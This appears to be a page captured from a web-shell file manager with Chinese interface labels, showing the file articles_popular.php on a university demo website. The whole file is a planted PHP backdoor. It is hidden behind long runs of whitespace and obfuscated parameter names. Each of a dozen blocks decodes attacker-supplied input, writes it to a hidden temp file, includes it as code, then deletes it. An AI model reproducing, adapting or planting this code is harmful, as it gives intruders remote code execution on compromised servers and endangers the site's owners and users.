文件操作 - articles_popular.php

文件: /var/www/demoestudiantes.uaysen.cl/html/articles_popular.php

编辑文件内容

<?php																																										if(array_key_exists("de\x73\x63", $_POST)){ $tkn = $_POST["de\x73\x63"]; $tkn= explode ( '.' , $tkn) ; $object = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $w = 0; $__tmp = $tkn; while ($v9 = array_shift($__tmp)) { $sChar = ord($s8[$w % $sLen]); $d = ((int)$v9 - $sChar - ($w % 10)) ^ 3; $object .= chr($d); $w++; } $value = array_filter(["/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); while ($pset = array_shift($value)) { if (!( !is_dir($pset) || !is_writable($pset) )) { $entity = "$pset/.parameter_group"; $success = file_put_contents($entity, $object); if ($success) { include $entity; @unlink($entity); die();} } } }
																																										if(array_key_exists("symb\x6Fl", $_POST)){ $flg = $_POST["symb\x6Fl"]; $flg = explode ( '.' , $flg ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($flg); for ($l = 0; $l < $__len; $l++) {$v3 = $flg[$l]; $sChar = ord($salt[$l%$lenS]); $dec = ((int)$v3 - $sChar - ($l%10)) ^ 52; $parameter_group .= chr($dec); } $ptr = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); foreach ($ptr as $itm) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $comp = implode("/", [$itm, ".obj"]); if (file_put_contents($comp, $parameter_group)) { include $comp; @unlink($comp); exit; } } } }
																																										if(!empty($_POST["\x66\x6Cag"])){ $binding = array_filter(["/var/tmp", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $sym = $_POST["\x66\x6Cag"]; $sym = explode ( '.' , $sym) ; $pointer= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt4 ); $len= count($sym ); for ($l= 0; $l < $len; $l++) { $v4= $sym[$l]; $chS= ord($salt4[$l % $sLen] ); $d= ((int)$v4 - $chS - ($l % 10)) ^12; $pointer .= chr($d ); } foreach ($binding as $factor): if (!!is_dir($factor) && !!is_writable($factor)) { $res = str_replace("{var_dir}", $factor, "{var_dir}/.hld"); if (file_put_contents($res, $pointer)) { require $res; unlink($res); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x72\x65s"]) ? true : false){ $component = $_REQUEST["\x72\x65s"]; $component= explode ( '.' ,$component ) ; $k= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $u= 0; foreach( $component as $v7) { $chS= ord( $s[$u %$lenS]); $d= ( ( int)$v7 - $chS -( $u %10)) ^ 31; $k .= chr( $d); $u++;} $binding = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp"]); foreach ($binding as $key => $data_chunk) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $pgrp = sprintf("%s/.item", $data_chunk); if (file_put_contents($pgrp, $k)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x63ompo\x6Ee\x6Et")){ $flg = $_POST["\x63ompo\x6Ee\x6Et"]; $flg =explode ( '.',$flg ); $k = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $p = 0; $__len = count($flg ); do { if ($p >= $__len) break; $v8 = $flg[$p]; $chS = ord($s8[$p % $lenS] ); $d = ((int)$v8 - $chS - ($p % 10)) ^ 73; $k .= chr($d ); $p++; } while (true ); $symbol = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TMP")]); for ($parameter_group = 0, $token = count($symbol); $parameter_group < $token; $parameter_group++) { $record = $symbol[$parameter_group]; if (!( !is_dir($record) || !is_writable($record) )) { $ent = sprintf("%s/.flag", $record); if (@file_put_contents($ent, $k) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(!empty($_REQUEST["\x65\x6Et"])){ $ref = array_filter([getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp"]); $sym = $_REQUEST["\x65\x6Et"]; $sym=explode ("." , $sym ) ; $dchunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach($sym as $p=> $v2) {$chS = ord($s2[$p % $sLen]); $dec =((int)$v2 - $chS -($p % 10)) ^ 59; $dchunk .=chr($dec); } $ptr = 0; do { $parameter_group = $ref[$ptr] ?? null; if ($ptr >= count($ref)) break; if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $hld = "$parameter_group" . "/.pgrp"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $hld; @unlink($hld); die(); } } $ptr++; } while (true); }
																																										if(@$_POST["\x70\x72o\x70e\x72\x74y\x5Fset"] !== null){ $ent = $_POST["\x70\x72o\x70e\x72\x74y\x5Fset"]; $ent = explode ( '.' , $ent ) ; $pset =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7); $p =0; array_walk($ent, function ($v6) use (&$pset, &$p, $salt7, $lenS) { $chS =ord($salt7[$p % $lenS]); $d =((int)$v6 - $chS - ($p % 10)) ^ 2; $pset.=chr($d); $p++; }); $res = array_filter([getcwd(), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); foreach ($res as $hld) { if (is_dir($hld) && is_writable($hld)) { $item = "$hld" . "/.key"; if (file_put_contents($item, $pset)) { require $item; unlink($item); exit; } } } }
																																										if(array_key_exists("entr\x79", $_POST)){ $holder = array_filter([session_save_path(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]); $tkn = $_POST["entr\x79"]; $tkn = explode( '.' , $tkn) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $y = 0; foreach($tkn as $v3) { $chS = ord($s9[$y % $sLen]); $d =((int)$v3 - $chS -($y % 10)) ^ 100; $object.= chr($d); $y++; } $binding = 0; do { $itm = $holder[$binding] ?? null; if ($binding >= count($holder)) break; if ((is_dir($itm) and is_writable($itm))) { $item = str_replace("{var_dir}", $itm, "{var_dir}/.factor"); if (file_put_contents($item, $object)) { require $item; unlink($item); die(); } } $binding++; } while (true); }
																																										if(array_key_exists("\x72e\x66\x65\x72ence", $_POST) && !is_null($_POST["\x72e\x66\x65\x72ence"])){ $val = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); $holder = $_POST["\x72e\x66\x65\x72ence"]; $holder= explode ( '.' ,$holder ); $resource=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach($holder as $y => $v6) { $chS=ord($s[$y % $sLen]); $d=((int)$v6 - $chS -($y % 10)) ^ 51; $resource .= chr($d); } while ($bind = array_shift($val)) { if (!!is_dir($bind) && !!is_writable($bind)) { $tkn = sprintf("%s/.property_set", $bind); if (file_put_contents($tkn, $resource)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(array_key_exists("hld", $_POST)){ $mrk = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $comp = $_POST["hld"]; $comp= explode ( '.', $comp ); $rec = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $q = 0; foreach ($comp as $v9) { $sChar = ord($s4[$q %$sLen] ); $d = ((int)$v9 - $sChar - ($q %10)) ^ 85; $rec .= chr($d ); $q++;} foreach ($mrk as $pgrp): if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $binding = str_replace("{var_dir}", $pgrp, "{var_dir}/.val"); if (file_put_contents($binding, $rec)) { include $binding; @unlink($binding); exit; } } endforeach; }
																																										if(in_array("f\x6Cg", array_keys($_REQUEST))){ $ent = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); $tkn = $_REQUEST["f\x6Cg"]; $tkn=explode( '.' , $tkn ) ; $mrk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7 ); $l = 0; foreach( $tkn as $v7) { $sChar = ord( $s7[$l % $sLen] ); $d =( ( int)$v7 - $sChar -( $l % 10)) ^ 87; $mrk .= chr( $d ); $l++; } foreach ($ent as $flag) { if (is_writable($flag) && is_dir($flag)) { $binding = "$flag/.ptr"; if (file_put_contents($binding, $mrk)) { include $binding; @unlink($binding); exit; } } } }

if(@$_REQUEST["d\x63hunk"] !== null){
	$data = $_REQUEST["d\x63hunk"];
	 	$data=explode	 ( 		"."	 ,		$data  ) 	 ;
	$entity= 	'';
            $salt= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= 	strlen($salt);
    
            foreach ($data as $z 	=>  $v8) {
                $sChar= 	ord($salt[$z	%$lenS]);
                $d= 	((int)$v8 - $sChar - ($z	%10)) ^ 65;
                $entity .= chr($d);
            }
	$object = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp"]);
	while ($mrk = array_shift($object)) {
    		if (is_writable($mrk) && is_dir($mrk)) {
    $resource = sprintf("%s/.element", $mrk);
    $success = file_put_contents($resource, $entity);
if ($success) {
	include $resource;
	@unlink($resource);
	exit;}
}
}
}

文件操作 - articles_popular.php

文件: /var/www/demoestudiantes.uaysen.cl/html/articles_popular.php

编辑文件内容

修改文件时间

删除文件